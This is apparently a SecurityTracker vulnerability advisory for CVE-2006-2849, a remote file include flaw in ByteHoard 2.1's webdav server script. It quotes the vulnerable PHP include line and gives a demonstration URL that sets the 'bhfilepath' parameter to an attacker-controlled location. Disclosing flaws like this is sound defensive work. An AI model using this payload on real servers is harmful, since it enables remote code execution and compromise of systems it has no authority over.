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Category:   Application (File Transfer/Sharing)  >   ByteHoard Vendors:   bytehoard.sourceforge.net
ByteHoard Include File Bug in 'bhfilepath' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016207
SecurityTracker URL:  http://securitytracker.com/id/1016207
CVE Reference:   CVE-2006-2849   (Links to External Site)
Updated:  May 22 2009
Original Entry Date:  Jun 2 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 2.1 Epsilon/Delta
Description:   beford reported a vulnerability in ByteHoard. A remote user can include and execute arbitrary code on the target system.

The 'bytehoard/includes/webdav/server.php' does not properly validate user-supplied input in the 'bhfilepath' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/bytehoard/includes/webdav/server.php?bhconfig[bhfilepath]=attacker

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  bytehoard.sourceforge.net/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Bytehoard 2.1 Remote File Include

Script: Bytehoard 2.1 Epsilon/Delta  www.bytehoard.org
Discovered: beford <xbefordx gmail com>
File: ./bytehoard/includes/webdav/server.php
Vuln: Remote File Include

[code]
require_once $bhconfig['bhfilepath']."/includes/webdav/_parse_propfind.php";
[/code]


http://url.com/bytehoard/includes/webdav/server.php?bhconfig[bhfilepath]=attacker
 
 


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